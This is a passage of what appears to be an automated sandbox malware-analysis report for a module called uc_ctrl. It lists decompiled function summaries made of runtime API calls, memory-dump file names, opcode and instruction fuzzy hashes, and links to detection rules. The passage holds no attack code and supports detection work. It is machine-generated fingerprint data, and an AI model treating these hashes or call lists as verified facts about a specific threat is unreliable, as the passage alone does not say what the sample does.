Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 1ac8600b80beba0fd71ba6980789bbdeed9b9c8463a15f13e094c841a2e423d0
Instruction ID: 8ad2531d841a47452d6f408d6e201384c0523a2749cd35e137fb4a4491133010
Opcode Fuzzy Hash: 1ac8600b80beba0fd71ba6980789bbdeed9b9c8463a15f13e094c841a2e423d0
Instruction Fuzzy Hash: A2F0B436500114BBCB019BA58D8CD9BFB7CEF5E6A2700405AFD0593210EB318D109BA0

Function 6D1AC976 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D1AC97E
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D1AC989
memcpy.VCRUNTIME140(?,?,?), ref: 6D1AC9A2

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfomemcpy
String ID:
API String ID: 2191804904-0
Opcode ID: 47035f5b33d5e264ca34c6fff717cfb9d387be9a4dc34684575a68246ebfd3b5
Instruction ID: 8f1e6d44e8c893fb4b1a28a21f83373eac8cbd09e6d431cef2c7fc0da02eb4f9
Opcode Fuzzy Hash: 47035f5b33d5e264ca34c6fff717cfb9d387be9a4dc34684575a68246ebfd3b5
Instruction Fuzzy Hash: 93F0B43E264206EFEF211AACE8047FF36A7AB56741F14C025F904C910CD6F280018792

Function 6D1A8423 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A842A
new.LIBCMT ref: 6D1A843E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1AB142,00000000), ref: 6D1A8458

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

Part of subcall function 6D1A95D5: __EH_prolog3_catch.LIBCMT ref: 6D1A95DC
Part of subcall function 6D1A95D5: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(00000060,6D1A847D,?,00000001,0000003C,6D1AB142,00000000), ref: 6D1A95E6
Part of subcall function 6D1A95D5: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1AB142,00000000), ref: 6D1A95F2
Part of subcall function 6D1A95D5: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1AB142,00000000), ref: 6D1A9617

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6D1AB142,00000000), ref: 6D1A8482

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$GetcvtH_prolog3$??0_??1_ExceptionH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2270883376-0
Opcode ID: ff528da9083692b7f7cc9dbe688128069687d5b941b3a91929056b8f656bac2a
Instruction ID: 740afa65dd455e5e1a9328f0af5dc26b38e739ebb8a8ec64e2bdd706f205f79f
Opcode Fuzzy Hash: ff528da9083692b7f7cc9dbe688128069687d5b941b3a91929056b8f656bac2a
Instruction Fuzzy Hash: 4DF0F6B59083058FEB00DFA4C415BBD72B4BF14729F19442AD241E7288DFF80A45C742

Function 6D1B0492 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B0499
new.LIBCMT ref: 6D1B04AD

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1B9D70,00000000), ref: 6D1B04C7

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

Part of subcall function 6D1B4F4C: __EH_prolog3_catch_GS.LIBCMT ref: 6D1B4F53
Part of subcall function 6D1B4F4C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(0000006C,6D1B04EC,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F5D
Part of subcall function 6D1B4F4C: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F6A
Part of subcall function 6D1B4F4C: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B4F9E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6D1B9D70,00000000), ref: 6D1B04F1

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$GetcvtH_prolog3$??0_??1_ExceptionH_prolog3_catch_Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 663634117-0
Opcode ID: e4d58ec2fcff0d429b362733a56abbefdcc427e5a6575bf55352ec1408f076c1
Instruction ID: 9ff7fb365e8f143b71bef199a7066cc35fadb0dfa966d9e26dc7e1a3c1783b6f
Opcode Fuzzy Hash: e4d58ec2fcff0d429b362733a56abbefdcc427e5a6575bf55352ec1408f076c1
Instruction Fuzzy Hash: 62F0F071A083068FEB00EFA4C504BBEB6B4BF14729F15442DD241E7288EFF80A40C742

Function 6D1B2778 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B277F
new.LIBCMT ref: 6D1B2793

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B27AD

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

Part of subcall function 6D1B70BF: __EH_prolog3_catch_GS.LIBCMT ref: 6D1B70C9
Part of subcall function 6D1B70BF: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(00000084,6D1B27D2,?,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B70D3
Part of subcall function 6D1B70BF: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B70E3
Part of subcall function 6D1B70BF: _Getcvt.MSVCP140(?,?,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B7120
Part of subcall function 6D1B70BF: _Mbrtowc.MSVCP140(?,0000002E,00000001,6D1B96D5,?,?,00000001,0000003C,6D1B96D5,00000000), ref: 6D1B7183
Part of subcall function 6D1B70BF: _Mbrtowc.MSVCP140(?,0000002C,00000001,00000001,?,?,00000001,0000003C,6D1B96D5,00000000), ref: 6D1B71B5

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6D1B96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1B27D7

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$GetcvtH_prolog3Mbrtowc$??0_??1_ExceptionH_prolog3_catch_Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 1540498879-0
Opcode ID: 53c449a0b63fbb44fccb9b6a6efc3676bcc9be48a0f05fa1a84169e98f71d031
Instruction ID: 5061c3d3b45358f6c0c691765fb46f4d4eaa0995fd17d9b5b1dfd6f39af2f31b
Opcode Fuzzy Hash: 53c449a0b63fbb44fccb9b6a6efc3676bcc9be48a0f05fa1a84169e98f71d031
Instruction Fuzzy Hash: 34F0C2719083058FEB04DFA0C4047BD76B4AF14729F15042AD281E7284EFF80A44C746

Function 6D19A7E0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 6D1AC3FB: GetCurrentThreadId.KERNEL32 ref: 6D1AC426
Part of subcall function 6D1AC3FB: GetCurrentThreadId.KERNEL32 ref: 6D1AC442

__Cnd_signal.LIBCPMT(?), ref: 6D19A80D
__Mtx_unlock.LIBCPMT(?,?), ref: 6D19A814
_Cnd_do_broadcast_at_thread_exit.MSVCP140 ref: 6D19A82C

Part of subcall function 6D19ABE0: EnterCriticalSection.KERNEL32(6D1F45F0), ref: 6D19ABF6
Part of subcall function 6D19ABE0: __Thrd_current.LIBCPMT ref: 6D19ABFC
Part of subcall function 6D19ABE0: __Mtx_unlock.LIBCPMT(6D1F43F8), ref: 6D19AC36
Part of subcall function 6D19ABE0: __Cnd_broadcast.LIBCPMT(00000000,6D1F43F8), ref: 6D19AC3E
Part of subcall function 6D19ABE0: LeaveCriticalSection.KERNEL32(6D1F45F0), ref: 6D19AC6E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: CriticalCurrentMtx_unlockSectionThread$Cnd_broadcastCnd_do_broadcast_at_thread_exitCnd_signalEnterLeaveThrd_current
String ID:
API String ID: 1556646861-0
Opcode ID: 0810a11c395816099786afde87a807740224d83723ff7193ca6e82e2de1ae896
Instruction ID: 7af294ec8a9c1857e3e04519208bba4372e38ebc36f76ef52de6e9b7a539f5b9
Opcode Fuzzy Hash: 0810a11c395816099786afde87a807740224d83723ff7193ca6e82e2de1ae896
Instruction Fuzzy Hash: 74F0907AA082189FDB01DFA8D80589EB7B6EF84324F120056E9417B254CBB27D40CBA1

Function 6CF04BA0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,00000001), ref: 6CF04BC4
GetActiveWindow.USER32 ref: 6CF04BCE
SetActiveWindow.USER32(00000000,?,?,?,?,?,00000000), ref: 6CF04BDA
FreeResource.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CF04C03

Part of subcall function 6CEFD500: EnableWindow.USER32(?,00000000), ref: 6CEFD511

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 851a03283bbf031b2f679f3d9febac918cc92480d861cd682f5165475ba388c1
Instruction ID: b336bd1efbc6d473bdc58f7b733d733b21b16ccebb828a88231e66973e7c7230
Opcode Fuzzy Hash: 851a03283bbf031b2f679f3d9febac918cc92480d861cd682f5165475ba388c1
Instruction Fuzzy Hash: 6D018175B01219DBDF02EB60C998BACBB76BF58B19F111104E922B36D0CB746841DF91

Function 6D1A2620 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A2627
new.LIBCMT ref: 6D1A263E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038), ref: 6D1A2658

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,00000038), ref: 6D1A2676

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: c85c16759998e452b2a97a1d551e8d95aad622d3ebb228c64645a9fa493364a2
Instruction ID: a0e87929689e5aaa0d2b9dd819c9a3e2f1ebc9048a18f7321854a08245e48df8
Opcode Fuzzy Hash: c85c16759998e452b2a97a1d551e8d95aad622d3ebb228c64645a9fa493364a2
Instruction Fuzzy Hash: 2AF0B4B9804716CBCB10DFA4C590A9DB7B0FF14714F61892ED669AB388EBF4A640CB41

Function 6D1A6490 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A6497
new.LIBCMT ref: 6D1A64AE

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1A6416,?,?,00000000,?,?,?,00000004), ref: 6D1A64C8

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1A6416,?,?,00000000,?,?,?,00000004), ref: 6D1A64DB

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
